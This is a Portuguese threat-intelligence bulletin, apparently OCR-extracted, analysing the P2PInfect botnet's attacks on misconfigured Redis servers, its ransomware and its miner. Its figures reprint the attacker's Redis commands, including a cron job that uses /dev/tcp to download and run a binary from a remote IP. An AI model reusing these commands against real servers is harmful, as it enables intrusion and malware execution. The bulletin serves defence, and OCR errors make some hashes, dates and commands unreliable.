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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

Foi observado por pesquisadores de seguranca que a botnet peer-to-peer
(P2P) conhecida como P2PInfect esta atacando servidores Redis mal
configurados, utilizando ransomware e mineradores de criptomoedas. Essa
evolucao indica uma mudanca significativa, transformando a ameaca de uma
botnet aparentemente inativa com objetivos indefinidos para uma operacao
claramente motivada por ganhos financeiros.
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2 CADEIA DE ATAQUE OBSERVADA

Acesso inicial

O malware se propaga explorando as funcionalidades de replicagdo no
Redis, que opera em um cluster distribuido com muitos nés utilizando uma
topologia lider/seguidor. Isso permite que os nés seguidores se tornem réplicas
exatas dos nés lideres, distribuindo as leituras pelo cluster para equilibrar a carga
e fornecer resiliéncia em caso de falha de um né. Os invasores frequentemente
exploram essa configuragao, pois os nds lideres podem instruir os seguidores a
carregar moédulos arbitrarios, possibilitando a execugdo de cdodigo nos nés
seguidores. O P2Pinfect aproveita essa vulnerabilidade utilizando o comando
SLAVEOF para transformar nés Redis desprotegidos em seguidores de seu servidor
de comando e controle. Apds essa transformacao, o malware utiliza uma série de
comandos para gravar um arquivo de objeto compartilhado (.so) e instrui o seguidor
a carrega-lo, permitindo que o invasor envie e execute comandos arbitrarios no né
seguidor.

y—

MODULE UNLOAD system

config set dbfilename dump.rdb

system.exec “"bash -c \"exec 6<>/dev/tecp/ && echo -n "GET /linux' >&6 && cat B<&6 > /tmp/F461JKRg42 && chmod +x /tmp/F461JKRg42 && /tmp/F461JKRg42
JgAXejhlEbowkbsffTB6Frs+KLglLe]V/C78sKaANczpIFbBtK64QeS59HaAtKEAde TpIFbBULMGKKZL KeQ4q fwk=\""

config set dir .

MODULE LOAD /tmp/exp.so
SLAVEOF NO ONE

MODULE LOAD /tmp/exp.so
MODULE LOAD /tmp/exp.so
MODULE LOAD /tmp/exp.so
MODULE LOAD /tmp/exp.so

CONFIG SET dbfilename exp.so

SLAVEOF

Figura 1 - Comandos Redis usados pelo P2Pinfect para acesso inicial.

O P2Pinfect também explora outro vetor de acesso inicial no Redis, onde
abusa dos comandos de configuracao para criar uma tarefa cron no diretério cron.

set x "\nx % % * % if | ps | grep -v grep | grep -q F461JKRg42;then exec 6<>/dev/tep/52.68.35.82/68188 && echo -n 'GET /linux' >&6 && cat B<&6 > /tmp/F461JKRg42 ;fi &&
chmod +x /tmp/F461JKRg42 && /tmp/F461JKRg42 JgaXejhlEbowKbsTfTBEFrs+KLglejV/C78sKaANczpIFbEtK640eS59HaAtK6AdeTpIFbBULMGKKZLKeQ4qfwk=\n"

config set dir /var/spool/cron/

save

config set dir .

Figura 2 - Comandos utilizados.
Reescrita da carga util principal

O binario principal do P2Pinfect parece ter sido reescrito, agora utilizando
completamente o tokio, um framework assincrono para Rust, e empacotado com
UPX. Desde nossa primeira analise do payload, houve mudancgas significativas em
seu funcionamento interno. O binario foi despojado e parcialmente ofuscado,
tornando a anéalise estatica mais dificil. Anteriormente, o P2Pinfect mantinha
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persisténcia ao adicionar-se ao arquivo .bash_logout e a uma tarefa cron, mas
esses métodos ndo sdo mais utilizados. No entanto, o restante de seus
comportamentos, como a configuracdo inicial mencionada anteriormente,
permanece 0 mesmo.

Bash atualizado

O P2Pinfect descarta um bindrio secundario no diretério /tmp/bash e o
executa. Esse processo configura seus argumentos de linha de comando para
[kworker/1:0H], para se camuflar na lista de processos em execug¢do. O arquivo
/tmp/bash atua como uma verificacao de integridade para o binario principal.
Conforme documentado anteriormente, o binario principal escuta em uma porta
aleatéria entre 60100 e 60150, a qual outros pares da botnet se conectardo. O
/tmp/bash envia periodicamente uma solicitagcdo para essa porta para verificar se
esta ativa e, presumivelmente, reiniciarda o binario principal se ele parar de
responder.

EventId: 1

Version: 5

EventType: ProcessCreate

Computer: ip-172-31-38-99

EventRecordID: 838

UtcTime: 2824-96-11 13:52:50.843

ProcessGuid: {4dbae969-56b2-6668-2cb8—470000000000}
ProcessId: 25529

Image: /tmp/bash

FileVersion: /tmp/bash

Description: -

Product: -

Company: -

OriginalFileMName: -

CurrentDirectory: /root

User: ubuntu

LogonGuid: {4dbae969-0B00-0000-c803-000000000000}
LogonId: 10600

TerminalSessionId: 698

Integritylevel: no level
Hashes: SHA256=f5fac38fcbdl@dfacd2ce6f67a8@dBb@91e784cBb7a3239182220b7b1bBEDEGY

ParentProcessGuid: {00800000-0000—-0000—00BR—00BRO0RGB00R
ParentProcessId: 25525

ParentImage: -

CommandLine: [kworker/1:@H]

ParentCommandLine: -

ParentUser: -

EventId: 3

Version: 5

EventType: NetworkConnect

Computer: ip-172-31-38-99
EventRecordID: 839

UtcTime: 2024-06-11 13:52:50.847
ProcessGuid: {4dbae969-56b2-6668-2cb8-476000000008 }
ProcessId: 25529

Image: /tmp/bash

FileVersion: /tmp/bash
ConnectionSource: 127.8.0.1:5625@
ConnectionDestination: 127.0.0.1:60135

Figura 83— Logs do Sysmon para a carga util /tmp/bash.
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Carga util do minerador ativada

Agora o binario principal do P2Pinfect gera o binario do minerador em um
arquivo mktmp (que cria um arquivo em /tmp com um nome aleatério) e o executa.
Este minerador ja vem configurado internamente com a carteira Monero e o poolde
mineracao. A atividade de mineragdo s6 € iniciada apds cerca de cinco minutos
desde que a carga principal foi ativada.

0.04643090 v 7128376991

4BDCC1BZ26HAZPDYHKC2qe9SAKOURDMGEmnWHPIWBQIHGLEXaZSpQYMBpym2Jt 8 JRNTSVIKHAU181mmCCITOvIHaG2QRL

TS DIk

1Worker 39,431,278,455,464 182,696,013 /79,817 0.0051 XMR
o5 s ] For oy ]

X 2.9KH/s

Figura 4 — Detalhes da suposta carteira do invasor.
Nova carga util de ransomware

O novo payload de ransomware do P2Pinfect, chamado rsagen, é baixado e
executado apds o botnet receber um comando especifico. Esse comando, emitido
qgquando um novo nod se junta a botnet, inclui instru¢gdes detalhadas em formato
JSON para baixar e executar o arquivo rsagen a partir de um servidor controlado
pelos atacantes. Ao ser langado, o rsagen verifica se a nota de resgate ja esta
presente no diretério atual ou no diretério do usuario. Se a nota estiver presente, o
processo € encerrado; caso contrario, inicia a encriptacdo dos arquivos. O
processo de encriptacado envolve a geracao de uma chave publica para criptografar
os arquivos e a criptografia da chave privada com a chave publica do atacante, que
€ entao adicionada a nota de resgate. Isso permite ao atacante descriptografar a
chave privada apds o pagamento do resgate sem a necessidade de manter

segredos no cliente.

O ransomware criptografa uma ampla gama de tipos de arquivos e adiciona
a extensao .encrypted a cada arquivo afetado. A lista de extensdes de arquivos alvo
€ extensa, incluindo formatos comuns como py, sqlite3, sqgl, mkv, doc, xls, db, key,
pfx, wav, mp3, entre muitos outros. O ransomware também cria um arquivo de
banco de dados com a lista de arquivos encriptados. Como o ransomware opera
com o nivel de privilégio do usuario Redis, ele normalmente sé pode acessar
arquivos salvos pelo Redis, limitando a extensdo do impacto. No entanto, a
propagacao limitada via SSH pode comprometer usudrios com privilégios mais
altos, aumentando o potencial de encriptagao de arquivos significativos.
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3 MITREATT&CK-TTPs

Tatica

Initial Access

Execution

Persistence

Privilege
Escalation

Defense Evasion

Command and
Control

Exfiltration

Técnica Detalhes
O malware explora recursos de
T1190 replicagdo do Redis para ganhar
Exploit Public-Facing acesso inicial, utilizando o comando
Application SLAVEOF para transformar nés Redis
em seguidores do servidor atacante.
71059.004 O malware escreve e executa arquivos

Command and Scripting
Interpreter: Unix Shell

de objeto compartilhado (.so) nos nés
Redis para permitir a execucao de
comandos arbitrarios.

T1547.001
Boot or Logon Autostart
Execution: Registry Run
Keys / Startup Folder

P2Pinfect adiciona um trabalho cron
no diretério cron e um arquivo de
chave SSH autorizado para
persisténcia.

T1078.003
. O malware usa comandos sudo e
Valid Accounts: Local S
muda senhas para escalar privilégios.
Accounts
T1574.006 Implementa um rootkit no modo de

Hijack Execution Flow:
Dynamic Linker Hijacking

usuario para ocultar processos e
arquivos relacionados ao malware.

T1071.004 Utiliza uma botnet peer-to-peer para
Application Layer Protocol: comunicagéo e atualizacéo de
DNS comandos.
11041 A mineragao de criptomoedas e o
Exfiltration Over C2 ransomware enviam dados e
Channel pagamentos através de canais C2.

Tabela 1 -Tabela MITRE ATT&CK.
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4 RECOMENDAGOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,

poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Atualizagoes e patches

Mantenha o Rust atualizado: Certifique-se de que a linguagem Rust e todas
as bibliotecas utilizadas estejam na versdo mais recente, pois as
atualizagdes frequentemente corrigem vulnerabilidades de seguranca.
Patch de sistemas operacionais e software: Aplique patches e atualizacoes
regularmente para o sistema operacional e software de suporte.

Configuracao de rede

Firewall: Implemente regras de firewall para bloquear o trafego nao
autorizado, especialmente para portas conhecidas utilizadas pela botnet
P2PInfect.

Segregacao de Rede: Segmente a rede para limitar a propagacao de um
eventual ataque. Use VLANSs e sub-redes para isolar segmentos criticos.

Monitoramento e deteccao

Sistemas de Deteccdo de Intrusdo (IDS) e Sistemas de Prevencédo de
Intrusdo (IPS): Implemente IDS/IPS para monitorar o trafego de rede e
identificar atividades suspeitas.
Analise de comportamento: Use ferramentas de analise de comportamento
para detectar atividades an6malas que possam indicar a presenga de uma
botnet ou payloads maliciosos.

Hardening do sistema

Configuracao segura: Configure os sistemas e servidores com base nas
melhores praticas de seguranca. Desative servigos e portas nao utilizados.
Autenticacao forte: Implemente autenticagcdo multifator (MFA) para todos
0s acessos administrativos e criticos.

Protecao de endpoint

Antivirus e anti-malware: Utilize solugdes de antivirus e anti-malware
atualizadas para detectar e bloquear payloads de mineragao e ransomware.
Protecao de ransomware: Implante ferramentas especificas de protecao
contra ransomware que monitoram e bloqueiam comportamentos tipicos
de criptografia maliciosa.
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Backups e recuperacao

Backups regulares: Realize backups regulares de dados criticos e
armazene-os offline ou em locais separados para evitar que sejam
comprometidos pela botnet.
Plano de recuperacdo: Desenvolva e teste regularmente um plano de
recuperacao de desastres que inclua a restauracdo de backups em caso de
um ataque de ransomware.

Educacao e conscientizacao

Treinamento de funcionarios: Realize treinamentos regulares de
conscientizacao sobre seguranca cibernética para funcionérios,
destacando a importdncia de praticas seguras e a identificacdo de
tentativas de phishing.

Simulacdes de phishing: Realize simulagcdes de phishing para testar a
preparagao dos funcionarios e identificar areas que necessitam de maior
conscientizacéo.

Monitoramento de ativos

Inventario de ativos: Mantenha um inventario atualizado de todos os ativos
de Tl para garantir que todos estejam protegidos.

Monitoramento continuo: Utilize ferramentas de monitoramento continuo
para rastrear alteragdes e atividades suspeitas nos ativos da rede.
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5 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a anélise
do(s) artefato(s) deste relatorio.

Indicadores de compromisso do artefato
md5: 5997572f16876f4e8359a6f06d2f2a56

sha1: 6239679cab66fd82cfcf68e23bd41b3e6ee62385
sha256: 4f949750575d7970c20e009da115171d28f1c96b8b6abe2623580fa8bel753d9
File name: linux (1)

Indicadores de compromisso do artefato
md5: 6559d129a3332936541fb82cdad4c35e
CHEYE 4df6c580ff03c5d1d9b788e3cel195cd2cfbacf75
sha256: 8a29238ef597df9¢c34411e3524109546894b3ccab7c2690f63c4fb53a433f4e3
File name: miner

Indicadores de compromisso do artefato
md5: d4795387dd51d7842d6ee29aba7e2adc

sha1: 072c2f5f9840e446def8b08dacfee99086e8495¢

sha256: 9b74bfec39e2fcd8ddb6ddabc02e1f1f8e64c10da2e06b6e09ccbe6234a828ach

File name: rsagen
Tabela 2 - Indicadores de Compromissos de artefatos

Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios
129[.]144[.]1180[.]26
88[.1198[.]1117[.]174
159[.]169[.183[.]232
195[.]201[.]97[.1156
Tabela 3-Indicadores de Compromissos de Rede.

Obs: Os links e enderecgos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacdo dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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